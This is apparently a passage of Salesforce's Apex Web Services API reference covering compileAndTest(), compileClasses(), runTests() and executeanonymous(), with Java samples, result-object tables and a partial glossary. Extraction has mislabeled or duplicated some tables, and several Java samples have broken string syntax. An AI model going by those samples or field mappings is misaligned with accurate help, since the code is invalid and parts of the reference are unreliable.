All specified tests must pass, otherwise data is not saved to the database. If this call is invoked in a production organization, the `RunTestsRequest` property of the `CompileAndTestRequest` is ignored, and all unit tests defined in the organization are run and must pass.

Sample Code—Java

Note that the following example sets `checkOnly` to `true` so that this class is compiled and tested, but the classes are not saved to the database.

```java
{    CompileAndTestRequest request;    CompileAndTestResult result = null;

    String triggerBody = "trigger t1 on Account (before insert){ " + 
        " for(Account a:Trigger.new){ " + 
        " a.description = 't1_UPDATE';}" + 
        "};"
;

    String classToTestTriggerBody = "public class TestT1{" + 
        " public static testmethod void test1(){" + 
        " Account a = new Account(name='TEST');" + 
        " insert(a);" + 
        " a = [select id,description from Account where id=:a.id];" + 
        " System.assert(a.description.contains('t1_UPDATE'));" + 
        " }" + 
        "};"
;

    String classBody = "public class c1{" + 
        " public static String s =""HELLO"";'" + 
        " public static testmethod void test1(){" + 
        " System.assert(s==""HELLO"");" + 
        " }" + 
        "};"
;
    // TEST
    // Compile only one class which meets all test requirements for checking
    request = new CompileAndTestRequest();

    request.setClasses(new String[]{classBody, classToTestTriggerBody});
    request.setTriggers(new String[]{triggerBody});
    request.setCheckOnly(true);

    try {
        result = apexBinding.compileAndTest(request);
    } catch (RemoteException e) {
        System.out.println("An unexpected error occurred: " + e.getMessage());
    }
    assert (result.isSuccess());
}
```
Arguments

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>request</td>
<td>CompileAndTestRequest</td>
<td>A request that includes the Apex and the values for any fields that need to be set for this request.</td>
</tr>
</tbody>
</table>

Response

CompileAndTestResult

CompileAndTestRequest

The `compileAndTest()` call contains this object, a request with information about the Apex to be compiled.

A CompileAndTestRequest object has the following properties:

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>checkOnly</td>
<td>boolean</td>
<td>If set to <code>true</code>, the Apex classes and triggers submitted are not saved to your organization, whether or not the code successfully compiles and unit tests pass.</td>
</tr>
<tr>
<td>classes</td>
<td>string</td>
<td>Content of the class or classes to be compiled.</td>
</tr>
<tr>
<td>deleteClasses</td>
<td>string</td>
<td>Name of the class or classes to be deleted.</td>
</tr>
<tr>
<td>deleteTriggers</td>
<td>string</td>
<td>Name of the trigger or triggers to be deleted.</td>
</tr>
<tr>
<td>runTestsRequest</td>
<td>RunTestsRequest</td>
<td>Specifies information about the Apex to be tested. If this request is sent in a production organization, this property is ignored and all unit tests are run for your entire organization.</td>
</tr>
<tr>
<td>triggers</td>
<td>string</td>
<td>Content of the trigger or triggers to be compiled.</td>
</tr>
</tbody>
</table>

Note the following about this object:

- This object contains the `RunTestsRequest` property. If the request is run in a production organization, the property is ignored and all tests are run.
- If any errors occur during compile, delete, testing, or if the goal of 75% code coverage is missed, no classes or triggers are saved to your organization. This is the same requirement as Force.com AppExchange package testing.
- All triggers must have code coverage. If a trigger has no code coverage, no classes or triggers are saved to your organization.

CompileAndTestResult

The `compileAndTest()` call returns information about the compile and unit test run of the specified Apex, including whether it succeeded or failed.

A CompileAndTestResult object has the following properties:

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>classes</td>
<td>CompileClassResult</td>
<td>Information about the success or failure of the <code>compileAndTest()</code> call if classes were being compiled.</td>
</tr>
<tr>
<td>deleteClasses</td>
<td>DeleteApexResult</td>
<td>Information about the success or failure of the <code>compileAndTest()</code> call if classes were being deleted.</td>
</tr>
</tbody>
</table>
DeleteApexResult

Information about the success or failure of the compileAndTest() call if triggers were being deleted.

RunTestsResult

Information about the success or failure of the Apex unit tests, if any were specified.

success

If true, all of the classes, triggers, and unit tests specified ran successfully. If any class, trigger, or unit test failed, the value is false, and details are reported in the corresponding result object:
• CompileClassResult
• CompileTriggerResult
• DeleteApexResult
• RunTestsResult

triggers

Information about the success or failure of the compileAndTest() call if triggers were being compiled.

CompileClassResult

This object is returned as part of a compileAndTest() or compileClasses() call. It contains information about whether or not the compile and run of the specified Apex was successful.

A CompileClassResult object has the following properties:

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>bodyCrc</td>
<td>int*</td>
<td>The CRC (cyclic redundancy check) of the class or trigger file.</td>
</tr>
<tr>
<td>column</td>
<td>int*</td>
<td>The column number where an error occurred, if one did.</td>
</tr>
<tr>
<td>id</td>
<td>ID*</td>
<td>An ID is created for each compiled class. The ID is unique within an organization.</td>
</tr>
<tr>
<td>line</td>
<td>int*</td>
<td>The line number where an error occurred, if one did.</td>
</tr>
<tr>
<td>name</td>
<td>string*</td>
<td>The name of the class.</td>
</tr>
<tr>
<td>problem</td>
<td>string*</td>
<td>The description of the problem if an error occurred.</td>
</tr>
<tr>
<td>success</td>
<td>boolean*</td>
<td>If true, the class or classes compiled successfully. If false, problems are specified in other properties of this object.</td>
</tr>
</tbody>
</table>

CompileTriggerResult

This object is returned as part of a compileAndTest() or compileTriggers() call. It contains information about whether or not the compile and run of the specified Apex was successful.

A CompileTriggerResult object has the following properties:

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>bodyCrc</td>
<td>int*</td>
<td>The CRC (cyclic redundancy check) of the class or trigger file.</td>
</tr>
<tr>
<td>column</td>
<td>int*</td>
<td>The column number where an error occurred, if one did.</td>
</tr>
<tr>
<td>id</td>
<td>ID*</td>
<td>An ID is created for each compiled class. The ID is unique within an organization.</td>
</tr>
<tr>
<td>line</td>
<td>int*</td>
<td>The line number where an error occurred, if one did.</td>
</tr>
<tr>
<td>name</td>
<td>string*</td>
<td>The name of the class.</td>
</tr>
<tr>
<td>problem</td>
<td>string*</td>
<td>The description of the problem if an error occurred.</td>
</tr>
<tr>
<td>success</td>
<td>boolean*</td>
<td>If true, the class or classes compiled successfully. If false, problems are specified in other properties of this object.</td>
</tr>
</tbody>
</table>
The CRC (cyclic redundancy check) of the trigger file.

The column where an error occurred, if one did.

An ID is created for each compiled trigger. The ID is unique within an organization.

The line number where an error occurred, if one did.

The name of the trigger.

The description of the problem if an error occurred.

If true, all the specified triggers compiled and ran successfully. If the compilation or execution of any trigger fails, the value is false.

* Link goes to the Web Services API Developer's Guide.

**DeleteApexResult**

This object is returned when the compileAndTest() call returns information about the deletion of a class or trigger.

A DeleteApexResult object has the following properties:

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>id</td>
<td>ID*</td>
<td>ID of the deleted trigger or class. The ID is unique within an organization.</td>
</tr>
<tr>
<td>problem</td>
<td>string*</td>
<td>The description of the problem if an error occurred.</td>
</tr>
<tr>
<td>success</td>
<td>boolean*</td>
<td>If true, all the specified classes or triggers were deleted successfully. If any class or trigger is not deleted, the value is false.</td>
</tr>
</tbody>
</table>

* Link goes to the Web Services API Developer's Guide.

**compileClasses()**

Compile your Apex in Developer Edition or Sandbox Edition organizations.

**Syntax**

```java
CompileClassResult[] = compileClasses(string[] classList);
```

**Usage**

Use this call to compile Apex classes in Developer Edition or Sandbox Edition organizations. Production organizations must use compileAndTest().

This call supports the DebuggingHeader and the SessionHeader. For more information about the SOAP headers in the API, see the Web Services API Developer's Guide.
Sample Code—Java

public void compileClassesSample() {
    String p1 = "public class p1 {
        public static Integer var1 = 0;
        public static void methodA() {
            var1 = 1;
        }
        public static void methodB() {
            p2.MethodA();
        }
    }";
    String p2 = "public class p2 {
        public static Integer var1 = 0;
        public static void methodA() {
            var1 = 1;
        }
        public static void methodB() {
            p1.MethodA();
        }
    }";
    CompileClassResult[] r = new CompileClassResult[0];
    try {
        r = apexBinding.compileClasses(new String[]{p1, p2});
    } catch (RemoteException e) {
        System.out.println("An unexpected error occurred: "
            + e.getMessage());
    }
    if (!r[0].isSuccess()) {
        System.out.println("Couldn't compile class p1 because: "
            + r[0].getProblem());
    }
    if (!r[1].isSuccess()) {
        System.out.println("Couldn't compile class p2 because: "
            + r[1].getProblem());
    }
}

Arguments

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>scripts</td>
<td>string*</td>
<td>A request that includes the Apex classes and the values for any fields that need to be set for this request.</td>
</tr>
</tbody>
</table>

Response

CompileClassResult

compileTriggers()

Compile your Apex triggers in Developer Edition or Sandbox Edition organizations.

Syntax

```
CompileTriggerResult[] = compileTriggers(string[] triggerList);
```

Usage

Use this call to compile the specified Apex triggers in your Developer Edition or Sandbox Edition organization. Production organizations must use `compileAndTest()`.
This call supports the DebuggingHeader and the SessionHeader. For more information about the SOAP headers in the API, see the Web Services API Developer’s Guide.

**Arguments**

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>scripts</td>
<td>string*</td>
<td>A request that includes the Apex trigger or triggers and the values for any fields that need to be set for this request.</td>
</tr>
</tbody>
</table>

**Response**

CompileTriggerResult

---

**executeanonymous()**

Executes a block of Apex.

**Syntax**

`ExecuteAnonymousResult[] = binding.executeanonymous(string apexcode);`

**Usage**

Use this call to execute an anonymous block of Apex. This call can be executed from AJAX.

This call supports the API DebuggingHeader and SessionHeader.

If a component in a package with restricted API access issues this call, the request is blocked.

Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value that is too long for the field.

**Arguments**

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>apexcode</td>
<td>string*</td>
<td>A block of Apex.</td>
</tr>
</tbody>
</table>

*Web Services API Developer’s Guide* contains information about security, access, and SOAP headers.

**Response**

`ExecuteAnonymousResult[]`

**ExecuteAnonymousResult**

The `executeanonymous()` call returns information about whether or not the compile and run of the code was successful. An `ExecuteAnonymousResult` object has the following properties:
runTests()

Run your Apex unit tests.

Syntax

```
RunTestsResult[] = binding.runTests(RunTestsRequest request);
```

Usage

To facilitate the development of robust, error-free code, Apex supports the creation and execution of unit tests. Unit tests are class methods that verify whether a particular piece of code is working properly. Unit test methods take no arguments, commit no data to the database, send no emails, and are flagged with the testMethod keyword in the method definition. Use this call to run your Apex unit tests.

This call supports the DebuggingHeader and the SessionHeader. For more information about the SOAP headers in the API, see the Web Services API Developer’s Guide.

Sample Code—Java

```java
public void runTestsSample() {
    String sessionId = "sessionID goes here";
    String url = "url goes here";
    // Set the Apex stub with session ID received from logging in with the partner API
    _SessionHeader sh = new _SessionHeader();
    apexBinding.setHeader(
        new ApexServiceLocator().getServiceName().getNamespaceURI(),
        "SessionHeader", sh);
    // Set the URL received from logging in with the partner API to the Apex stub
    apexBinding._setProperty(ApexBindingStub.ENDPOINT_ADDRESS_PROPERTY, url);
    // Set the debugging header
    _DebuggingHeader dh = new _DebuggingHeader();
```
Apex API for running Apex unit tests:

```java
dh.setDebugLevel(LogType.Profiling);
apexBinding.setHeader(
    new ApexServiceLocator().getServiceName().getNamespaceURI(),
    "DebuggingHeader", dh);

long start = System.currentTimeMillis();
RunTestsRequest rtr = new RunTestsRequest();
rtr.setAllTests(true);
RunTestsResult res = null;
try {
    res = apexBinding.runTests(rtr);
} catch (RemoteException e) {
    System.out.println("An unexpected error occurred: " + e.getMessage());
}

System.out.println("Number of tests: " + res.getNumTestsRun());
System.out.println("Number of failures: " + res.getNumFailures());
if (res.getNumFailures() > 0) {
    for (RunTestFailure rtf : res.getFailures()) {
        System.out.println("Failure: " + (rtf.getNamespace() ==
            null ? "" : rtf.getNamespace() + ".")
            + rtf.getName() + "." + rtf.getMethodName() + ": "
            + rtf.getMessage() + "\n" + rtf.getStackTrace());
    }
}
if (res.getCodeCoverage() != null) {
    for (CodeCoverageResult ccr : res.getCodeCoverage()) {
        System.out.println("Code coverage for " +
            (ccr.getNamespace() == null ? "" : ccr.getNamespace() + ".")
            + ccr.getName() + ": "
            + ccr.getNumLocationsNotCovered()
            + " locations not covered out of "
            + ccr.getNumLocations());
        if (ccr.getNumLocationsNotCovered() > 0) {
            for (CodeLocation cl : ccr.getLocationsNotCovered())
                System.out.println("\n" + cl.getLine());
        }
    }
}
System.out.println("Finished in " +
    (System.currentTimeMillis() - start) + "ms");
```

### Arguments

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>request</td>
<td>RunTestsRequest</td>
<td>A request that includes the Apex unit tests and the values for any fields that need to be set for this request.</td>
</tr>
</tbody>
</table>

### Response

**RunTestsResult**

The `compileAndTest()` call contains a request, `CompileAndTestRequest` with information about the Apex to be compiled. The request also contains this object which specifies information about the Apex to be tested. You can specify the same or different classes to be tested as being compiled. Since triggers cannot be tested directly, they are not included in this object. Instead, you must specify a class that calls the trigger.
If the request is sent in a production organization, this request is ignored and all unit tests defined for your organization are run.

A CompileAndTestRequest object has the following properties:

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>allTests</td>
<td>boolean*</td>
<td>If allTests is True, all unit tests defined for your organization are run.</td>
</tr>
<tr>
<td>classes</td>
<td>string*[]</td>
<td>An array of one or more objects.</td>
</tr>
<tr>
<td>namespace</td>
<td>string</td>
<td>If specified, the namespace that contains the unit tests to be run. Do not use this property if you specify allTests as true. Also, if you execute compileAndTest() in a production organization, this property is ignored, and all unit tests defined for the organization are run.</td>
</tr>
<tr>
<td>packages</td>
<td>string*[]</td>
<td>Do not use after version 10.0. For earlier, unsupported releases, the content of the package to be tested.</td>
</tr>
</tbody>
</table>

**RunTestsResult**

The call returns information about whether or not the compilation of the specified Apex was successful and if the unit tests completed successfully.

A RunTestsResult object has the following properties:

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>codeCoverage</td>
<td>CodeCoverageResult[]</td>
<td>An array of one or more CodeCoverageResult objects that contains the details of the code coverage for the specified unit tests.</td>
</tr>
<tr>
<td>codeCoverageWarnings</td>
<td>CodeCoverageWarning[]</td>
<td>An array of one or more code coverage warnings for the test run. The results include both the total number of lines that could have been executed, as well as the number, line, and column positions of code that was not executed.</td>
</tr>
<tr>
<td>failures</td>
<td>RunTestFailure[]</td>
<td>An array of one or more RunTestFailure objects that contain information about the unit test failures, if there are any.</td>
</tr>
<tr>
<td>numFailures</td>
<td>int</td>
<td>The number of failures for the unit tests.</td>
</tr>
<tr>
<td>numTestsRun</td>
<td>int</td>
<td>The number of unit tests that were run.</td>
</tr>
<tr>
<td>successes</td>
<td>RunTestSuccess[]</td>
<td>An array of one or more RunTestSuccess objects that contain information about successes, if there are any.</td>
</tr>
<tr>
<td>totalTime</td>
<td>double</td>
<td>The total cumulative time spent running tests. This can be helpful for performance monitoring.</td>
</tr>
</tbody>
</table>
**CodeCoverageResult**

The RunTestsResult object contains this object. It contains information about whether or not the compile of the specified Apex and run of the unit tests was successful.

A CodeCoverageResult object has the following properties:

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>dmlInfo</td>
<td>CodeLocation[]</td>
<td>For each class or trigger tested, for each portion of code tested, this property contains the DML statement locations, the number of times the code was executed, and the total cumulative time spent in these calls. This can be helpful for performance monitoring.</td>
</tr>
<tr>
<td>id</td>
<td>ID</td>
<td>The ID of the CodeLocation. The ID is unique within an organization.</td>
</tr>
<tr>
<td>locationsNotCovered</td>
<td>CodeLocation[]</td>
<td>For each class or trigger tested, if any code is not covered, the line and column of the code not tested, and the number of times the code was executed.</td>
</tr>
<tr>
<td>methodInfo</td>
<td>CodeLocation[]</td>
<td>For each class or trigger tested, the method invocation locations, the number of times the code was executed, and the total cumulative time spent in these calls. This can be helpful for performance monitoring.</td>
</tr>
<tr>
<td>name</td>
<td>string</td>
<td>The name of the class covered.</td>
</tr>
<tr>
<td>namespace</td>
<td>string</td>
<td>The namespace that contained the unit tests, if one is specified.</td>
</tr>
<tr>
<td>numLocations</td>
<td>int</td>
<td>The number of locations covered.</td>
</tr>
<tr>
<td>soqlInfo</td>
<td>CodeLocation[]</td>
<td>For each class or trigger tested, the location of SOQL statements in the code, the number of times this code was executed, and the total cumulative time spent in these calls. This can be helpful for performance monitoring.</td>
</tr>
<tr>
<td>soslInfo</td>
<td>CodeLocation[]</td>
<td>For each class tested, the location of SOSL statements in the code, the number of times this code was executed, and the total cumulative time spent in these calls. This can be helpful for performance monitoring.</td>
</tr>
<tr>
<td>type</td>
<td>string</td>
<td>Do not use. In early, unsupported releases, used to specify class or package.</td>
</tr>
</tbody>
</table>

**CodeCoverageWarning**

The RunTestsResult object contains this object. It contains information about the Apex class which generated warnings.

This object has the following properties:

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>id</td>
<td>ID</td>
<td>The ID of the class which generated warnings.</td>
</tr>
</tbody>
</table>
The `RunTestsResult` object returns information about failures during the unit test run.

This object has the following properties:

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>id</td>
<td>ID</td>
<td>The ID of the class which generated failures.</td>
</tr>
<tr>
<td>message</td>
<td>string</td>
<td>The failure message.</td>
</tr>
<tr>
<td>methodName</td>
<td>string</td>
<td>The name of the method that failed.</td>
</tr>
<tr>
<td>name</td>
<td>string</td>
<td>The name of the class that failed.</td>
</tr>
<tr>
<td>namespace</td>
<td>string</td>
<td>The namespace that contained the class, if one was specified.</td>
</tr>
<tr>
<td>stackTrace</td>
<td>string</td>
<td>The stack trace for the failure.</td>
</tr>
<tr>
<td>time</td>
<td>double</td>
<td>The time spent running tests for this failed operation. This can be helpful for performance monitoring.</td>
</tr>
<tr>
<td>type</td>
<td>string</td>
<td>Do not use. In early, unsupported releases, used to specify class or package.</td>
</tr>
</tbody>
</table>

* Link goes to the *Web Services API Developer's Guide*.

The `RunTestsResult` object returns information about successes during the unit test run.

This object has the following properties:

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>id</td>
<td>ID</td>
<td>The ID of the class which generated the success.</td>
</tr>
<tr>
<td>methodName</td>
<td>string</td>
<td>The name of the method that succeeded.</td>
</tr>
</tbody>
</table>
### CodeLocation

The **RunTestsResult** object contains this object in a number of fields.

This object has the following properties:

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>name</td>
<td>string</td>
<td>The name of the class that succeeded.</td>
</tr>
<tr>
<td>namespace</td>
<td>string</td>
<td>The namespace that contained the class, if one was specified.</td>
</tr>
<tr>
<td>time</td>
<td>double</td>
<td>The time spent running tests for this operation. This can be helpful for</td>
</tr>
<tr>
<td></td>
<td></td>
<td>performance monitoring.</td>
</tr>
</tbody>
</table>

### DebuggingHeader

Specifies that the response will contain the debug log in the return header, and specifies the level of detail in the debug header.

**API Calls**

*compileAndTest()*  *executeanonymous()*  *runTests()*

**Fields**

<table>
<thead>
<tr>
<th>Element Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
</table>
| debugLevel   | logtype  | This field has been deprecated and is only provided for backwards compatibility. Specifies the type of information returned in the debug log. The values are listed from the least amount of information returned to the most information returned. Valid values include:  
  - NONE  
  - DEBUGONLY  
  - DB  
  - PROFILING |
LogInfo

Specifies the type, as well as the amount of information, returned in the debug log. The categories field takes a list of these objects.

Fields

<table>
<thead>
<tr>
<th>Element Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>LogCategory</td>
<td>string</td>
<td>Specify the type of information returned in the debug log. Valid values are:</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Db</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Workflow</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Validation</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Callout</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Apex_code</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Apex_profiling</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• All</td>
</tr>
<tr>
<td>LogCategoryLevel</td>
<td>string</td>
<td>Specifies the amount of information returned in the debug log. Only the</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Apex_code LogCategory uses the log category levels.</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Valid log levels are (listed from lowest to highest):</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• ERROR</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• WARN</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• INFO</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• DEBUG</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• FINE</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• FINER</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• FINEST</td>
</tr>
</tbody>
</table>

PackageVersionHeader

Specifies the package version for each installed managed package. A package version is a number that identifies the set of components uploaded in a package. The version number has the format majorNumber.minorNumber.patchNumber (for example, 2.1.3). The major and minor numbers increase to a chosen value during every major release. The patchNumber is generated and updated only for a patch release. If there is no patchNumber, it is assumed to be zero (0). As well as a set of components, a package version encompasses specific behavior. Publishers can use package versions to evolve the components in their managed packages gracefully by releasing subsequent package versions without breaking existing customer integrations using the package.
A managed package can have several versions with different content and behavior. This header allows you to specify the version used for each package referenced by your API client. If a package version is not specified for a package, the API client uses the version of the package that is selected in the Version Settings section in Your Name ➤ Setup ➤ Develop ➤ API. This header is available in API version 16.0 and later.

**API Calls**

compileAndTest(), compileClasses(), compileTriggers(), executeanonymous()

**Fields**

<table>
<thead>
<tr>
<th>Element Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>packageVersions</td>
<td>PackageVersion[]</td>
<td>A list of package versions for installed managed packages referenced by your API client.</td>
</tr>
</tbody>
</table>

**PackageVersion**

Specifies a version of an installed managed package. It includes the following fields:

<table>
<thead>
<tr>
<th>Field</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>majorNumber</td>
<td>int</td>
<td>The major version number of a package version. A package version is denoted by majorNumber.minorNumber, for example 2.1.</td>
</tr>
<tr>
<td>minorNumber</td>
<td>int</td>
<td>The minor version number of a package version. A package version is denoted by majorNumber.minorNumber, for example 2.1.</td>
</tr>
<tr>
<td>namespace</td>
<td>string</td>
<td>The unique namespace of the managed package.</td>
</tr>
</tbody>
</table>
Glossary

A

Administrator (System Administrator)

One or more individuals in your organization who can configure and customize the application. Users assigned to the System Administrator profile have administrator privileges.

AJAX Toolkit

A JavaScript wrapper around the API that allows you to execute any API call and access any object you have permission to view from within JavaScript code. For more information, see the AJAX Toolkit Developer’s Guide.

Anti-Join

An anti-join is a subquery on another object in a NOT IN clause in a SOQL query. You can use anti-joins to create advanced queries, such as getting all accounts that do not have any open opportunities. See also Semi-Join.

Anonymous Block, Apex

An Apex script that does not get stored in Salesforce, but that can be compiled and executed through the use of the ExecuteAnonymousResult() API call, or the equivalent in the AJAX Toolkit.

Apex

Force.com Apex code is a strongly-typed, object-oriented programming language that allows developers to execute flow and transaction control statements on the Force.com platform server in conjunction with calls to the Force.com API. Using syntax that looks like Java and acts like database stored procedures, Apex code enables developers to add business logic to most system events, including button clicks, related record updates, and Visualforce pages. Apex scripts can be initiated by Web service requests and from triggers on objects.

Apex-Managed Sharing

Enables developers to programmatically manipulate sharing to support their application’s behavior. Apex-managed sharing is only available for custom objects.

Apex Page

See Visualforce Page.

App

Short for “application.” A collection of components such as tabs, reports, dashboards, and Visualforce pages that address a specific business need. Salesforce provides standard apps such as Sales and Call Center. You can customize the standard apps to match the way you work. In addition, you can package an app and upload it to the AppExchange along with related components such as custom fields, custom tabs, and custom objects. Then, you can make the app available to other Salesforce users from the AppExchange.
AppExchange
The AppExchange is a sharing interface from salesforce.com that allows you to browse and share apps and services for the Force.com platform.

Application Programming Interface (API)
The interface that a computer system, library, or application provides to allow other computer programs to request services from it and exchange data.

Approval Process
An approval process is an automated process your organization can use to approve records in Salesforce. An approval process specifies the steps necessary for a record to be approved and who must approve it at each step. A step can apply to all records included in the process, or just records that have certain attributes. An approval process also specifies the actions to take when a record is approved, rejected, recalled, or first submitted for approval.

Asynchronous Calls
A call that does not return results immediately because the operation may take a long time. Calls in the Metadata API and Bulk API are asynchronous.

B
Batch Apex
The ability to perform long, complex operations on many records at a scheduled time using Apex.

Beta, Managed Package
In the context of managed packages, a beta managed package is an early version of a managed package distributed to a sampling of your intended audience to test it.

C
Callout, Apex
An Apex callout enables you to tightly integrate your Apex with an external service by making a call to an external Web service or sending a HTTP request from an Apex script and then receiving the response.

Child Relationship
A relationship that has been defined on an sObject that references another sObject as the “one” side of a one-to-many relationship. For example, contacts, opportunities, and tasks have child relationships with accounts.
See also sObject.

Class, Apex
A template or blueprint from which Apex objects are created. Classes consist of other classes, user-defined methods, variables, exception types, and static initialization code. In most cases, Apex classes are modeled on their counterparts in Java.

Client App
An app that runs outside the Salesforce user interface and uses only the Force.com API or Bulk API. It typically runs on a desktop or mobile device. These apps treat the platform as a data source, using the development model of whatever tool and platform for which they are designed. See also Composite App and Native App.

Code Coverage
A way to identify which lines of code are exercised by a set of unit tests, and which are not. This helps you identify sections of code that are completely untested and therefore at greatest risk of containing a bug or introducing a regression in the future.
Component, Metadata
A component is an instance of a metadata type in the Metadata API. For example, CustomObject is a metadata type for custom objects, and the MyCustomObject__c component is an instance of a custom object. A component is described in an XML file and it can be deployed or retrieved using the Metadata API, or tools built on top of it, such as the Force.com IDE or the Force.com Migration Tool.

Component, Visualforce
Something that can be added to a Visualforce page with a set of tags, for example, <apex:detail>. Visualforce includes a number of standard components, or you can create your own custom components.

Component Reference, Visualforce
A description of the standard and custom Visualforce components that are available in your organization. You can access the component library from the development footer of any Visualforce page or the Visualforce Developer’s Guide.

Composite App
An app that combines native platform functionality with one or more external Web services, such as Yahoo! Maps. Composite apps allow for more flexibility and integration with other services, but may require running and managing external code. See also Client App and Native App.

Controller, Visualforce
An Apex class that provides a Visualforce page with the data and business logic it needs to run. Visualforce pages can use the standard controllers that come by default with every standard or custom object, or they can use custom controllers.

Controller Extension
A controller extension is an Apex class that extends the functionality of a standard or custom controller.

Cookie
Client-specific data used by some Web applications to store user and session-specific information. Salesforce issues a session “cookie” only to record encrypted authentication information for the duration of a specific session.

Custom App
See App.

Custom Controller
A custom controller is an Apex class that implements all of the logic for a page without leveraging a standard controller. Use custom controllers when you want your Visualforce page to run entirely in system mode, which does not enforce the profile-based permissions and field-level security of the current user.

Custom Field
A field that can be added in addition to the standard fields to customize Salesforce for your organization’s needs.

Custom Links
Custom URLs defined by administrators to integrate your Salesforce data with external websites and back-office systems. Formerly known as Web links.

Custom Object
Custom records that allow you to store information unique to your organization.

Custom Settings
Custom settings are similar to custom objects and enable application developers to create custom sets of data, as well as create and associate custom data for an organization, profile, or specific user. All custom settings data is exposed in the application cache, which enables efficient access without the cost of repeated queries to the database. This data can then be used by formula fields, validation rules, Apex, and the Web services API.
See also Hierarchy Custom Settings and List Custom Settings.

D

Database
An organized collection of information. The underlying architecture of the Force.com platform includes a database where your data is stored.

Database Table
A list of information, presented with rows and columns, about the person, thing, or concept you want to track. See also Object.

Data Loader
A Force.com platform tool used to import and export data from your Salesforce organization.

Data Manipulation Language (DML)
An Apex method or operation that inserts, updates, or deletes records from the Force.com platform database.

Data State
The structure of data in an object at a particular point in time.

Date Literal
A keyword in a SOQL or SOSL query that represents a relative range of time such as last month or next year.

Decimal Places
Parameter for number, currency, and percent custom fields that indicates the total number of digits you can enter to the right of a decimal point, for example, 4.98 for an entry of 2. Note that the system rounds the decimal numbers you enter, if necessary. For example, if you enter 4.986 in a field with Decimal Places of 2, the number rounds to 4.99.

Dependency
A relationship where one object’s existence depends on that of another. There are a number of different kinds of dependencies including mandatory fields, dependent objects (parent-child), file inclusion (referenced images, for example), and ordering dependencies (when one object must be deployed before another object).

Dependent Field
Any custom picklist or multi-select picklist field that displays available values based on the value selected in its corresponding controlling field.

Deploy
To move functionality from an inactive state to active. For example, when developing new features in the Salesforce user interface, you must select the “Deployed” option to make the functionality visible to other users.

The process by which an application or other functionality is moved from development to production.

To move metadata components from a local file system to a Salesforce organization.

For installed apps, deployment makes any custom objects in the app available to users in your organization. Before a custom object is deployed, it is only available to administrators and any users with the “Customize Application” permission.

Deprecated Component
A developer may decide to refine the functionality in a managed package over time as the requirements evolve. This may involve redesigning some of the components in the managed package. Developers cannot delete some components in a Managed - Released package, but they can deprecate a component in a later package version so that new subscribers do not receive the component, while the component continues to function for existing subscribers and API integrations.
Detail
A page that displays information about a single object record. The detail page of a record allows you to view the information, whereas the edit page allows you to modify it.

A term used in reports to distinguish between summary information and inclusion of all column data for all information in a report. You can toggle the Show Details/Hide Details button to view and hide report detail information.

Developer Edition

Developer Force
The Developer Force website at developer.force.com provides a full range of resources for platform developers, including sample code, toolkits, an online developer community, and the ability to obtain limited Force.com platform environments.

Development as a Service (DaaS)
An application development model where all development is on the Web. This means that source code, compilation, and development environments are not on local machines, but are Web-based services.

Development Environment
A Salesforce organization where you can make configuration changes that will not affect users on the production organization. There are two kinds of development environments, sandboxes and Developer Edition organizations.

Email Alert
Email alerts are workflow and approval actions that are generated using an email template by a workflow rule or approval process and sent to designated recipients, either Salesforce users or others.

Email Template
